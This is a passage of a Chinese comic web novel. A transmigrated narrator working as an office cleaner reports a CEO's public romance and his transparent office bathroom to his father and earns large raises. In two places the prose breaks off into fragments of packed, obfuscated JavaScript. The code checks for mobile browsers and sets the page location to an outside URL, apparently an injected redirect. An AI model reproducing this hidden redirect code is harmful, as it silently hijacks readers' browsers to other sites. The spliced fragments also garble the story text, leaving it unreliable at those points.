老董事长,您关注点能不能对一点?! 但她还是回复:“是的,刚买的,还没吃就被踩了。” 消息发出去不到三秒,老涂又回复了。 “没事,下午我让助理给你带两份,算公司福利。” 颜淳看着这条消息,嘴角忍不住勾起来。 好家伙,老董事长大气啊! 她抬头看了一眼大厅里还在“含情脉脉”的两人,心里默默给涂腾点了一根蜡烛。 小涂啊,你不仅要失去爱情(可能),还要感受来自老父亲的“爱”了! 至于她的鸡蛋灌饼…… 下午有两份,好像也不算亏? 颜淳心情大好,哼着小曲开始打扫地上的饼渣。 一边扫,一边在心里盘算:下午那两份一定要藏好了吃,谁也别想再踩她的饼! 颜淳把地上的饼渣扫干净,倒进垃圾桶,然后把扫帚还回前台。 她看了看时间——上午十点半。 距离下午还有好几个小时。 距离老董事长助理送饼来也还有好几个小时。 她摸了摸肚子,饿了。 “小七,你说你有小金库?” “有有有!”小猫咪立刻回应,“宿主想吃什么?我请客!” “鸡蛋灌饼。” “……还吃?” “吃!我就不信今天吃不到一个完整的鸡蛋灌饼!”颜淳握紧拳头,“这次我要买三个!三个!我就不信全都能被踩!” “那……宿主加油?” 颜淳气势汹汹地走出辉腾集团大楼,朝早餐摊走去。 大爷看到她,愣了一下:“小姑娘,又来了?” “再来三个全家福!” “三个?”大爷瞪大了眼睛,“你一个人吃三个?” “对!我今天跟鸡蛋灌饼杠上了!” 大爷笑呵呵地开始擀饼:“好好好,年轻人有干劲是好事。” 颜淳站在摊位前,目光警惕地扫视四周,随时准备保护她的鸡蛋灌饼。 这一次,她不会再让任何人踩到她的饼! 绝不! 4. 老当益壮的老徐董 颜淳端着三份全家福鸡蛋灌饼,像个护食的仓鼠一样躲进了保洁工具间。 对,就是那个她之前翻窗逃跑的工具间。 面积不大,大概四五平米,靠墙立着一排拖把和水桶,架子上堆着各种清洁剂和抹布。角落里有一把折叠椅,是上一任保洁阿姨留下的,椅面上还贴着一张泛黄的贴纸,写着“颜姐专座”。 颜淳把折叠椅打开,一屁股坐下去,然后把三份鸡蛋灌饼小心翼翼地摆在膝盖上。 第一份,咬一口。 “咔嚓——” 酥脆的饼皮在齿间碎裂,热乎乎的蛋液和酱料在舌尖化开。 颜淳闭上眼睛,一脸满足。 “宿主,你吃相好难看。”小猫咪蹲在她肩膀上,嫌弃地说。 “闭嘴,我在享受人生。” “你的人生就值一个鸡蛋灌饼?” “你不懂。”颜淳又咬了一大口,含糊不清地说,“在经历了两次饼毁人亡的惨案后,这个饼对我来说,已经不是饼了。” “那是什么?” “是信仰。” “……宿主你是不是饿傻了?” “小七,你再嘴臭,我把你毛薅秃。” 小猫咪立刻闭嘴,用爪子捂住自己的毛。 颜淳满意地点点头,继续啃饼。 第一份,吃完。 第二份,开啃。 吃到一半的时候,手机震动了。 她掏出来一看——老涂董事长发来消息:“助理已经出发,大概下午两点到。两份全家福,加鸡蛋加培根。” 颜淳嘴角一翘,油腻的手指在屏幕上疯狂打字:“谢谢董事长!董事长大气!董事长身体健康万事如意!董事长福如东海寿比南山!董事长——” “宿主,你拍马屁的姿势好熟练。”小猫咪忍不住吐槽。 “这叫职场生存技巧。”颜淳头也不抬,“你以为我十五年社畜白当的?” “你才26岁。” “算上学前班。” “……学前班不算职场。” “在我这里算。” 小猫咪决定不再跟宿主争论这种毫无逻辑的问题。 发完感谢信,颜淳又补了一条:“董事长,您儿子今天在大厅当众和一个来面试的女孩搂搂抱抱,全公司都看到了。” 对面沉默了三秒钟。 然后老涂发来一条语音。 颜淳点开—— “什么?!那个臭小子又给我丢人现眼!!!” 中气十足的老年男声从手机里炸出来,音量之大,把工具间里的一瓶清洁剂震倒了。 “哐当——” 颜淳手一抖,鸡蛋灌饼差点又飞出去。 “宿主小心饼!”小猫咪尖叫。 颜淳眼疾手快地接住饼,长出一口气:“好险好险,差点第三次饼毁人亡。” “宿主,你有没有想过,你跟这个饼八字不合?” “不可能。”颜淳斩钉截铁,“我跟鸡蛋灌饼是天造地设的一对,有问题的是这个世界。” “……行吧。” 紧接着又是一条文字消息:“我下午亲自过来。你盯着他,别让他跑了。” 颜淳看着消息,嘴角的弧度越来越大。 “小七,你说男主待会儿会是什么表情?” “根据我的数据分析,应该是——懵逼→愤怒→绝望→想死。” “四个阶段?” “对,标准社死流程。” “再加一个阶段。” “什么?” “想挖个坑把自己埋了。”颜淳说,“我当年在年会上被领导点名批评的时候,就是这个心情。” “宿主你被批评过?” “不止一次。”颜淳面无表情,“社畜的人生,就是在被批评和被批评的路上反复横跳。” 小猫咪沉默了三秒钟,然后用尾巴拍了拍颜淳的手背:“宿主辛苦了。” “没事,都过去了。”颜淳咬了一口饼,“现在轮到男主体验社畜的快乐了。” 下午一点四十,颜淳正在董事长办公室外面的休息区擦玻璃。 说是擦玻璃,其实是在摸鱼。 她拿着一块抹布,对着一扇已经擦了三遍的玻璃窗反复摩擦,眼睛却一直盯着电梯的方向。 “宿主,你已经擦那块玻璃二十分钟了。”小猫咪忍不住提醒。 “我在等男主他爹。” “你可以在休息区坐着等啊。” “坐着等太明显了。”颜淳说,“擦玻璃显得我很敬业。” “……你擦的那块玻璃在角落,根本没人看。” “我自己看就行。” “你看什么?” “看我敬业的倒影。”颜淳对着玻璃照了照,“嗯,真好看。” 小猫咪无语了。 就在这时,电梯门开了。 一个五十多岁的中年男人走出来,头发花白但精神矍铄,穿着一件深棕色的夹克,手里拎着一个保温袋。他的五官和涂腾有六七分相似,但气质完全不同——如果说涂腾是冰山,那这个男人就是火山,浑身上下透着一股“别惹我”的气场。 老涂董事长,涂建国。 “小颜!”涂建国一看到颜淳就笑了,快步走过来,“你的饼,两份全家福,加鸡蛋加培根,还热着呢。” “董事长您太客气了。”颜淳接过保温袋,打开一看——两个金黄酥脆的鸡蛋灌饼整齐地码在纸袋里,香气扑鼻。 她咽了咽口水。 “先别吃。”涂建国摆摆手,“带我去看看那个臭小子,我倒要看看他在搞什么名堂。” 颜淳依依不舍地把保温袋放在桌上,擦了擦手,领着涂建国往办公室走去。 她敲了敲门。 没人应。 又敲了敲。 还是没人应。 “直接开。”涂建国说。 颜淳推开门—— 办公室里空无一人。 落地窗前的办公桌上摊着一堆文件,电脑屏幕还亮着,显示着一份没写完的合同。沙发上扔着一件西装外套,茶几上摆着两杯喝了一半的咖啡。 但涂腾不在。 “人呢?”涂建国皱起眉头。 颜淳掏出手机,打开公司群看了一眼—— 群里的消息已经炸了。 “董事长去一楼大厅了!又去见那个面试的女孩!” “就是那个穿白裙子的?确实挺好看的。” “好看有什么用,还没入职呢,董事长就这么上赶着。” “这班还上不上了???” “嘘,小声点,群里有领导。” “怕什么,董事长自己都不上班,还好意思管我们?” “就是就是,上梁不正下梁歪。” “你们小声点行不行,我害怕。” “怕什么,董事长又不在群里。” “你怎么知道不在?” “……你说得对,我闭嘴。” 颜淳把手机递给涂建国看。 涂建国的脸色变化过程非常精彩—— 先是白(不敢相信),然后变红(血压升高),然后变紫(快爆炸了),最后变黑(已经炸了)。 颜淳在旁边看着,心里默默给小猫咪发消息:“小七,你看老涂的脸色,像不像交通信号灯?” “红绿灯?” “对,就差绿色了。” “宿主你嘴好毒。” “跟你学的。” “我嘴不毒!” “你刚才说我吃相难看。” “那是事实陈述,不是毒舌。” “在我这里算。” 涂建国深吸一口气——这一口气吸得特别长,颜淳怀疑他把半个大厅的空气都吸进去了。 然后他开口,声音低沉得像暴风雨前的宁静:“走。” 颜淳乖乖跟上。 一楼大厅。 颜淳和涂建国走出电梯的时候,看到了一幕比上午更离谱的画面。 大厅中央的空地上,不知道什么时候摆了一圈花——红色的玫瑰,摆成了一个心形。心形正中央站着两个人,男的西装革履,女的白裙飘飘,正面对面站着,含情脉脉地对视。 周围围了至少三四十个员工,有人举着手机拍照,有人小声尖叫,还有人不知道从哪里弄来了花瓣,正往天上撒。 最离谱的是——不知道谁搬来了一个音响,正在播放《今天你要嫁给我》。 “我种下一颗种子,终于长出了果实,今天是个伟大日子……” 颜淳嘴角抽了抽。 “小七,这是谁放的歌?” “不知道,但我觉得很应景。” “应什么景?求婚现场配这个歌,土不土啊?” “宿主,这是霸道总裁文,土是标配。” “……你说得对。” 涂腾手里捧着一束红玫瑰,少说也有九十九朵,把他的脸都挡住了大半。 “念念。”他的声音低沉磁性,穿透了人群的嘈杂,也盖过了那首土味歌曲,“从我看到你的第一眼起,我就知道,你就是我要找的那个人。” 留念念双手捂着嘴,眼眶红红的,眼泪在眼眶里打转。 “涂先生,我……我只是一个来面试的,我们才认识不到一天……” “爱情不分时间,不分身份。”涂腾往前一步,单膝跪地,“念念,做我的女朋友好吗?” “哇————!” 围观群众爆发出热烈的尖叫声。 “答应他!答应他!答应他!” 有人开始起哄。 有人开始鼓掌。 有人开始抹眼泪——颜淳怀疑那人是托儿。 “小七,这个世界是不是有病?”颜淳在脑海里问。 “宿主,你才发现吗?” “我一直都知道,但每次看到这种场面,还是会被震撼到。” “习惯就好。” 颜淳转头看了一眼身边的涂建国。 涂建国的表情已经不能用“精彩”来形容了。 那是一种混合了—— “我是谁”(身份认知混乱) “我在哪”(空间认知混乱) “这个丢人现眼的东西是我儿子”(亲子关系认知混乱) “我现在就想把他塞回娘胎”(生育后悔认知) “我老婆当年为什么要生他”(婚姻后悔认知) “我当年为什么要结婚”(人生后悔认知) “我为什么要活着”(哲学认知混乱) ——的究极复杂表情。 “董事长,”颜淳小声说,“您还好吗?要不要找个地方坐一下?” 涂建国没回答。 他深吸一口气——这一口气吸得特别长,长到颜淳怀疑他在练什么气功。 然后他大步流星地走进人群。 “让一让,让一让。” 围观群众自动让开一条路。 涂腾正单膝跪在地上等回答,突然感觉背后一凉。 那种凉,不是空调的凉,不是风扇的凉,是来自灵魂深处的凉。 他缓缓回头—— “爸?!” 涂建国的巴掌已经扇过来了。 “啪!” 清脆的巴掌声响彻整个大厅。 音响里的歌刚好唱到“你是我的小呀小苹果”——“啪”的一声完美卡点,像是特意配的音效。 颜淳差点笑出声。 所有人都愣住了。 安静。 死一般的安静。 连花瓣都停在空中了——好吧,没有,花瓣还是掉下来了,但气氛真的很安静。 安静到能听到涂腾脸上巴掌印慢慢变红的声音。 不对,巴掌印没有声音。 但颜淳觉得她能听到。 涂腾捂着脸,一脸不可置信:“爸,你干什么?!” “我干什么?”涂建国的声音比打雷还响,“我倒要问问你在干什么!不上班,不签合同,不开会,在这里给我搞这些乌七八糟的东西!” “我……” “你什么你!”涂建国指着那圈玫瑰花,“这是公司!不是你的求婚现场!你看看周围,多少员工在看着你!你这个董事长就是这么当的?” 涂腾的脸涨得通红——红得比那九十九朵玫瑰还鲜艳。 留念念站在旁边,整个人都傻了,手里的花束掉在地上,花瓣散了一地。 “还有你。”涂建国的目光转向留念念,“小姑娘,你入职了吗?” “还……还没有……”留念念的声音小得像蚊子,“我是来面试前台的,面试完了,等通知……” “没入职你在这干什么?来看我儿子表演?” 留念念的眼泪终于掉下来了,但不是感动的那种,是被吓哭的那种。 眼泪啪嗒啪嗒往下掉,把脸上的妆都冲花了。 颜淳看着这一幕,心里默默给小猫咪发消息:“小七,你说女主现在在想什么?” “大概是——‘我为什么要来面试’?” “不对,应该是——‘我为什么要来这家公司面试’。” “有区别吗?” “有。第一家是不幸,第二家是自找的。” “宿主你好狠。” “我只是在陈述事实。” 涂建国转头看向围观群众,中气十足地喊了一声:“都散了吧!该干嘛干嘛去!” 人群瞬间作鸟兽散。 但颜淳注意到,没有一个人真的走远——全都躲在柱子后面、楼梯拐角处、前台柜台下面,偷偷看戏。 前台柜台下面那个,你露半截屁股了。 “还有你。”涂建国又看向涂腾,“你现在,立刻,马上,给我回办公室。今天不把那份合同签完,不许下班。” 涂腾张了张嘴,想说什么,但看到涂建国的表情,又把话咽了回去。 他站起来,拍了拍膝盖上的灰,看了留念念一眼,然后转身走向电梯。 那一眼,包含了太多情绪——不舍、委屈、愤怒、不甘、还有一点“我爹为什么要这样对我”的困惑。 留念念站在原地,泪流满面。 涂建国看了她一眼,叹了口气:“小姑娘,你先回去等通知吧。入职的事,走正常流程。” 说完,他也转身走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446841|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大厅里只剩下颜淳和留念念,还有那些躲在暗处偷看的员工。 颜淳看着满地的玫瑰花瓣和那束被遗弃的花,叹了口气。 她走过去,从兜里掏出一包纸巾,递给留念念。 “擦擦吧,妆都花了。” 留念念接过纸巾,声音带着哭腔:“谢……谢谢姐姐。” “不客气。”颜淳蹲下来开始收拾地上的花瓣,“你是来面试前台的?” “嗯……” “面试结果怎么样?” “王姐说让我回去等通知……”留念念吸了吸鼻子,“但现在这样,估计没戏了吧。” 颜淳想了想,说:“不一定。你的面试表现怎么样?” “还行吧……王姐说我形象不错,态度也好,就是没经验……” “没经验可以学。”颜淳把一把花瓣扫进垃圾桶,“而且你有一个别人没有的优势。” “什么优势?” “你让董事长一见钟情了。”颜淳面无表情地说,“虽然这听起来很离谱,但在这个公司,离谱就是常态。” 留念念不知道该哭还是该笑。 “姐姐,你说话好直接。” “我只是懒得拐弯抹角。”颜淳站起来,“行了,别哭了。回去等通知吧,该是你的跑不掉。” 留念念擦了擦眼泪,深深地鞠了一躬:“谢谢!” 然后转身走了。 颜淳看着她的背影,摇了摇头。 “小七,你说她会被录用吗?” “根据原著剧情,会的。”小猫咪说,“男主会让HR给她发offer。” “那就好。”颜淳继续收拾花瓣,“虽然她踩了我的饼,但人看起来不坏。” “宿主你原谅她了?” “没有。”颜淳面无表情,“她踩的是我的饼,不是我的脚。饼可以原谅,脚不行。” “……有区别吗?” “当然有。饼是身外之物,脚是身体的一部分。她要是踩我的脚,我跟她没完。” 小猫咪决定不再深究宿主的逻辑。 顶楼,董事长办公室。 涂腾坐在办公桌前,面前摊着那份合同,但一个字都看不进去。 他满脑子都是刚才的画面——留念念哭红的眼睛,周围员工的窃窃私语,还有他爸那一巴掌。 那一巴掌是真疼。 不是手疼的那种疼,是面子疼。 他是辉腾集团的董事长,三十八层大楼的最高领导,当着全公司的面被自己老爹扇了一巴掌。 社死,彻底社死。 “咚咚咚。” 敲门声响起。 “进来。” 颜淳推门进来,手里端着一杯咖啡。 “涂董,您的咖啡。” 涂腾看了她一眼:“我爸让你送的?” “不是,是我自己送的。”颜淳把咖啡放在桌上,“看您心情不太好,喝杯咖啡缓缓。” 涂腾盯着她看了五秒钟。 “你就是我爸安排的眼线?” 颜淳眨眨眼:“什么眼线?我只是一个保洁阿姨。” “保洁阿姨?”涂腾冷笑一声,“保洁阿姨会直接给我爸发消息告状?” “您看到了?” “我爸把聊天记录截图发我了。”涂腾咬牙切齿。 颜淳面不改色:“我只是在向老董事长汇报工作。我的工作职责之一就是向老董事长反馈办公室的卫生情况。” “卫生情况?” “对,今天大厅的地上有很多玫瑰花瓣,影响了环境卫生。我如实汇报了。” 涂腾被噎住了。 他想反驳,但发现颜淳说的每一个字都在逻辑上,他找不到漏洞。 “你……”涂腾深吸一口气,“你故意的。” “涂董,您想多了。”颜淳露出一个职业化的微笑,“我只是一个普普通通的保洁阿姨,不参与公司政治,也不站队。您和谁谈恋爱跟我没关系,我只负责打扫卫生。” “那你还给我爸告状?” “我说了,那是卫生汇报。” “……玫瑰花瓣是卫生问题?” “不然呢?又不能吃。” 涂腾彻底无语了。 他看着颜淳那张平静的脸,第一次觉得这个保洁阿姨可能比他想象的难缠得多。 “行了,你出去吧。”涂腾摆摆手。 “好的涂董,有事您叫我。” 颜淳转身走出办公室,轻轻关上门。 门关上的瞬间,她嘴角的弧度终于压不住了。 “宿主,你刚才好帅!”小猫咪在她脑海里欢呼,“男主被你噎得说不出话!” “小意思。”颜淳在脑海里说,“这才哪到哪。” 她回到休息区,拿起保温袋里的鸡蛋灌饼,咬了一大口。 嗯,虽然有点凉了,但还是很好吃。 一边吃,一边打开手机,给涂建国发消息: “董事长,涂董已经回办公室了,正在看合同。咖啡也送进去了。” 涂建国秒回:“好。他要是再跑,你直接锁门。” 颜淳看着这条消息,差点被鸡蛋灌饼噎到。 锁门? 这是董事长办公室,不是小黑屋啊! 不过…… 好像也不是不行? 傍晚六点,颜淳准备下班。 她今天的工作量:打扫了董事长办公室(花了十五分钟),收拾了一楼大厅的玫瑰花瓣(花了二十分钟),给涂腾送了一杯咖啡(花了五分钟),其余时间都在吃鸡蛋灌饼和摸鱼。 月薪十万。 这工作,真香。 她收拾好东西,正准备走,手机震动了。 是涂建国发来的消息: “小颜,今天辛苦了。这个月工资给你加到十五万。” 颜淳的眼睛瞬间瞪大。 “董事长,这太多了吧?” “不多。你帮我看着那个臭小子,值这个价。” “那……谢谢董事长!” 颜淳收起手机,心情好得想原地转圈。 十五万! 月薪十五万! 她原来在银行上班,一年才十五万! “小七,这个世界是不是太离谱了?”颜淳在脑海里感慨,“保洁月薪十五万,这放在现实世界,我得退休了也没这么高的工资啊。” “宿主,这就是小说世界的魅力啊!”小猫咪得意地说,“只要您愿意,还可以更高。” “更高?”颜淳的眼睛亮了,“怎么高?” “比如……让老董事长认您当干女儿?” 颜淳想了想那个画面——涂腾叫她“姐姐”的样子,突然画面有点离大谱。 “算了算了,感觉这样好丢我的脸啊!” 颜淳哼着小曲走出辉腾集团大楼,夕阳的余晖洒在她身上,把她的影子拉得很长。 她深吸一口气,闻到了空气中属于自由的香气,还有……鸡蛋灌饼的香气。 对了,明天早上还要去买鸡蛋灌饼。 这次她要买四个。 四个! 看谁还能踩她的饼! 5. 保洁的自我修养 第二天,颜淳到公司的时候,发现大厅里的气氛不太一样。 前台那边多了一个人。 留念念。 她穿着一身得体的职业装,白色衬衫配黑色半身裙,头发扎成一个低马尾,正在跟王姐学习前台的操作流程。 “宿主,女主入职了!”小猫咪在她脑海里说。 颜淳看了一眼,嗯了一声,继续往电梯走。 “宿主你不去看看?” “看什么?她入职跟我有什么关系。” “她踩过你的饼!” “所以我跟她保持距离。”颜淳按下电梯按钮,“离她越远,我的饼越安全。” “……宿主你这逻辑。” “很合理。” “不过小说世界入职可真快啊,我当时找工作的时候起码三天之后回复。” 电梯门打开,颜淳走了进去。 就在电梯门快要关上的时候,一只手伸了进来。 “等一下!” 留念念气喘吁吁地跑进来,手里拿着一沓文件。 “谢谢姐姐!”她看到颜淳,眼睛一亮,“姐姐,我们好有缘分呀,我叫留念念,姐姐怎么称呼呀?” “嗯,留小姐你好,我是颜淳,辉腾集团的保洁阿姨。”颜淳一脸死鱼脸的表情。 啊,上班,好不想寒暄啊! “太好了!我第一天正式上班,还有点紧张呢。不知道为什么看到颜姐瞬间就不紧张了呢”留念念笑着说,“颜姐,以后请多关照!” 颜淳看了她一眼,点了点头。 说实话,这姑娘笑起来确实挺好看的,不愧是小说女主。 就是看着真傻白甜啊! 但这不是重点。 重点是——她手里没拿鸡蛋灌饼。 安全。 “念念,你入职手续办好了?”颜淳随口问。 “办好了!昨天下午HR给我打电话,说面试通过了,让我今天来入职。”留念念的语气里带着兴奋,“我都没想到会被录用,毕竟昨天发生了那种事……” “哪种事?” “就是……董事长求婚那件事……”留念念的声音变小了,“我以为老董事长会不让我入职的。” “老董事长是讲道理的人。”颜淳说,“你是来工作的,又不是来谈恋爱的。只要你好好干活,没人会为难你。” “嗯!我一定会好好干的!”留念念用力点头。 电梯到了顶楼,颜淳走了出去。 “颜姐再见!” “再见。” 颜淳走向保洁休息室,脑子里在盘算今天的安排。 打扫办公室——十五分钟。 摸鱼——七小时四十五分钟。 完美。 上午九点,颜淳拿着拖把和抹布,走进了董事长办公室。 然后她愣住了。 不是因为这间办公室有多大——虽然确实很大,一百多平,分办公区、会客区、休息区三个部分,装修是典型的“霸道总裁风”,深色实木家具、真皮沙发、落地窗、暗色系窗帘,整体色调偏冷,透着一种“我很贵但我不说”的气质。 让她愣住的不是这些。 而是—— 落地窗旁边,有一扇玻璃门。 玻璃门后面,是一个浴室。 透明的。 全透明的。 从办公室可以清清楚楚看到浴室里面的每一个角落。 浴缸、淋浴花洒、洗手台、毛巾架、沐浴露瓶子、洗发水瓶子…… 甚至马桶。 颜淳盯着那个透明浴室看了五秒钟。 然后她转头,看向肩膀上的小猫咪。 “小七,你看到了吗?” “看到了……”小猫咪的声音有点虚。 “董事长办公室里,有一个透明浴室?” “对……” “为什么董事长办公室里会有透明浴室?” “因为……这是霸道总裁文?”小猫咪不确定地说,“很多霸道总裁文里都有这种设定,男主洗澡的时候女主刚好进来,然后……” “然后什么?” “然后……一些不可描述的事情……” 颜淳深吸一口气。 她想起原著剧情里,男女主在办公室“do”的那一段。 当时她还疑惑,办公室里怎么do? 现在她知道了。 透明浴室。 这就是专门为那种剧情准备的。 “小七,我要举报。”颜淳掏出手机。 “举报什么?” “涉黄。”颜淳面无表情,“董事长办公室涉黄。” 她打开和涂建国的聊天窗口,拍了张透明浴室的照片,发了过去。 配文:“董事长,涂董的办公室里有透明浴室,从办公室可以直接看到里面。我觉得这个设计不太合适,容易引发不好的联想。” 消息发出去三秒钟,涂建国的电话就打过来了。 “小颜,你说什么?!透明浴室?!” “对,就在落地窗旁边,很显眼。” “那个臭小子!”涂建国的声音震耳欲聋,“他装那个东西干什么?!他是不是打算在公司搞那些乌七八糟的事情?!” “这个……我不太清楚。”颜淳语气平静,“我只是觉得,作为一个正规公司的董事长办公室,不应该有这样的设施。万一被客户或者合作伙伴看到了,影响不好。” “你说得对!”涂建国咬牙切齿,“我马上让工程部的人过去,把那玩意儿给我拆了!” “董事长,拆了可能不太好看,毕竟装修也是一笔费用。不如改成磨砂玻璃,既美观又实用。” “好,就按你说的办!小颜,还是你想得周到!” “应该的。” 颜淳挂了电话,看着那个透明浴室,嘴角微微上扬。 小涂啊小涂,你的“福利”没了。 不用谢我,我是为了你好。 上午十点,涂腾到公司的时候,发现办公室里有三个人。 颜淳站在落地窗旁边,手里拿着一个平板电脑,正在和两个穿工装的男人比划着什么。 “你们在干什么?”涂腾皱着眉头走过去。 “涂董上午好。”颜淳转过身,微笑着说,“工程部的同事来帮您改造浴室。” “改造浴室?”涂腾看向那扇玻璃门,“我的浴室怎么了?” “太透明了。”颜淳说,“老董事长觉得,作为一个正规公司的董事长办公室,浴室应该是私密的,不应该从办公室就能看到里面。所以让我联系工程部,把玻璃换成磨砂的。” 涂腾的脸一下子黑了。 “这是我办公室,我想怎么装就怎么装。” “当然,这是您的办公室。”颜淳点头,“但这也是公司的资产。老董事长作为公司创始人,有权对资产的使用提出建议。” “你——” “涂董,您别生气。”颜淳语气温和,“磨砂玻璃也很好看的,而且更实用。您想想,万一您以后在办公室接待重要客户,客户一转头就看到您的浴室,多尴尬啊。” 涂腾张了张嘴,想反驳,但发现颜淳说的好像有点道理。 不对,这不是道理不道理的问题! 这是他办公室!他想装透明浴室关别人什么事! 但话到嘴边,他又咽了回去。 因为他突然想到一个更严重的问题—— 他爸为什么会知道他的浴室是透明的? 涂腾的目光落在颜淳身上。 “是你告诉他的?” “告诉什么?”颜淳一脸无辜。 “浴室的事。” “哦,那个啊。”颜淳点点头,“我是保洁,负责打扫办公室卫生。我觉得透明浴室的卫生不好做,容易留下水渍,所以向老董事长反映了这个问题。老董事长就决定改造一下。” “卫生不好做?” “对,透明玻璃特别容易留指纹和水渍,每天都要擦,很麻烦。” 涂腾盯着颜淳看了五秒钟。 这个女人,每一个字都在逻辑上,但他就是觉得哪里不对。 “行了,你们弄吧。”涂腾摆了摆手,走到办公桌前坐下。 他打开电脑,开始处理邮件。 但余光一直瞟着颜淳的方向。 她正和工程部的人讨论磨砂玻璃的款式,表情认真,语气专业,看起来真的只是一个在认真工作的保洁。 但涂腾总觉得,这个女人不简单。 上午十一点,浴室改造完成。 原本透明的玻璃变成了磨砂的,从外面看不到里面,但光线可以透过来,整体看起来高级了不少。 “涂董,改好了。”颜淳走过来,“您要不要看看?” 涂腾站起来,走到浴室门口,打开门看了看。 磨砂玻璃的效果确实不错,比透明的好看,也更实用。 但他就是不爽。 “多少钱?”他问。 “什么多少钱?” “改造的费用。” “哦,老董事长说从他账上走,不用您出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“真的假的?那个浴室我早就想吐槽了,谁会在办公室装透明浴室啊!” “据说是老董事长亲自下的命令!” “哈哈哈哈哈董事长社死+1” “这已经是第二次社死了吧?昨天求婚被打,今天浴室被拆。” “明天会是什么?我期待一下。” “你们说,会不会是老董事长安插了眼线?” “什么眼线?” “就是有人在帮老董事长盯着董事长啊。” “有道理!不然老董事长怎么什么都知道?” 颜淳看着这条消息,默默把手机收了起来。 眼线? 什么眼线? 她上班一点都不化妆的! 她只是一个普普通通的保洁阿姨。 “宿主,他们在说你。”小猫咪说。 “说我又怎样。”颜淳面不改色,“我又没做亏心事。” “你告状了。” “那是卫生汇报。” “……行吧。” 傍晚,颜淳准备下班的时候,涂建国给她发了一条消息: “小颜,浴室的事办得不错。这个月工资再加五万。” 二十万了。 颜淳看着这条消息,手都在抖。 二十万月薪! 她一个保洁! 月薪二十万! “小七,这个世界是不是太离谱了?”颜淳在脑海里问,“我真的只是做了我的本职工作而已。” “宿主,这就是小说世界啊!”小猫咪说,“在这里,保洁可以月薪二十万,董事长可以不上班谈恋爱,一切皆有可能。” “呵呵,对哦,小说世界,男主十点才来上班哦!”原打工人牛马的怨气都可以养活两个邪剑仙了。 “既然这么离谱,那我是不是可以更离谱一点?” “当然可以!宿主你想做什么?” 颜淳想了想,在手机上打了一行字,发给涂建国: “董事长,我有个建议。公司应该禁止办公室恋情。” 涂建国秒回:“为什么?” 颜淳打字:“因为办公室恋情会影响工作效率。您看涂董,自从认识了那个新前台,三天两头往一楼跑,合同都不签了。如果不加以限制,以后公司里大家都谈恋爱,谁还干活?” 对面沉默了十几秒。 然后涂建国发来一条消息:“你说得有道理。我让法务部起草一份文件,明天就发。” 颜淳看着这条消息,嘴角翘得老高。 哈哈,牛马就得有牛马的样子,谈什么恋爱,是工作干不完了,还是觉得加班太少了。 小涂啊小涂,你不仅要失去浴室,还要失去“办公室恋爱自由”了。 不用谢我,我真的只是为了公司好。 6. 整顿职场从我做起 不过最终禁止办公室恋情的条文还是没有发出去。 因为男主这个脑残竟然发现了法务部的动作,并及时制止了这项影响他爱情大业的事情。 哎,悲伤! 还是得面对发癫的男女主啊! 算了,就当月薪二十万工作中的微小挫折吧。 不过剧情还是照常发展中的。这天,颜淳刚到公司,就发现气氛不太对。 前台那边围了一群人,王姐站在中间,手里拿着一张纸,脸色铁青。留念念站在旁边,眼眶红红的,像是刚哭过。 “怎么了这是?”颜淳走过去问。 “颜姐!”王姐看到她,像是看到了救星,“你来得正好!你看看这个!” 她把那张纸递给颜淳。 颜淳接过来一看—— 是一张手写的告示,字迹歪歪扭扭,像是小学生写的: 注意 前台留念念是狐狸精,专门勾引董事长。 大家不要被她骗了。 ——一个正义的员工 颜淳盯着这张告示看了五秒钟。 然后她转头,看向肩膀上的小猫咪。 “小七,这字是你写的?” “当然不是!”小猫咪炸毛了,“我的字比这个好看一万倍!” “那就是这个世界的人写的。”颜淳把告示折起来,“幼稚不幼稚啊,还‘正义的员工’,署名都不敢留。” “颜姐,这已经是第三张了!”王姐有点无语地翻白眼,“昨天贴了一张在电梯里,今天早上又在女厕所贴了一张,这张是贴在公告栏上的!” “查到是谁贴的吗?” “监控拍到了,但那个人戴着帽子和口罩,看不清脸。” 颜淳想了想,问:“最近公司有没有新来的员工?” “没有啊,除了念念。” “那就有意思了。”颜淳摸着下巴,“不是新员工,那就是老员工。一个老员工,跟一个新来的前台过不去,还专门写告示骂她‘狐狸精’……” 她顿了顿,看向王姐:“王姐,公司里是不是有人在追涂董?” 王姐的表情微妙地变了。 “这个……”她犹豫了一下,“是有那么几个人。” “几个人?”颜淳挑眉。 “就是……市场部的李总监、财务部的赵经理、还有一个不是我们公司的……王氏集团的千金。” 颜淳沉默了。 一个市场部总监,一个财务部经理,一个千金小姐。 三个人,全是女的。 全都在追涂腾。 “小七,”她在脑海里说,“这个世界的女配阵容还挺豪华啊。” “宿主,原著里戏份最多的三个女配,就是这三个。”小猫咪说,“她们会在后面轮番出场,给女主制造麻烦。” “比如?” “比如威胁、陷害、绑架、挖肾……” “行了行了,我不想听了。”颜淳揉了揉太阳穴,“这种剧情放在现实世界,够判好几年的。” “所以这是小说世界嘛。” 上午九点,颜淳老老实实正在董事长办公室拖地。 涂腾坐在办公桌前看文件,余光一直瞟着她。 “小颜。”他突然开口。 “嗯?”颜淳头也不抬,干啥子,不要影响她拖地(摸鱼)。 “你觉得念念这个人怎么样?” 颜淳手里的拖把顿了一下。 她抬起头,看着涂腾。 涂腾的表情很认真,不像是在开玩笑。 “涂董,您问一个保洁阿姨对您女朋友的看法?” “她还不是我女朋友。”涂腾纠正道,“她还没答应。” “那您问这个干嘛?” “我想知道,别人是怎么看她的。” 颜淳想了想,说:“她人不错,干活认真,对同事客气,笑起来挺好看的。”是个正宗的傻白甜女主。 涂腾的嘴角微微上扬。 “但是。”颜淳话锋一转。 涂腾的笑容僵住了。 “但是什么?” “但是她太单纯了。”颜淳说,“容易被人欺负。” “谁敢欺负她?” “您没看公司群吗?”颜淳掏出手机,打开公司群,递给涂腾。 “听说了吗?有人贴告示骂前台那个小姑娘。” 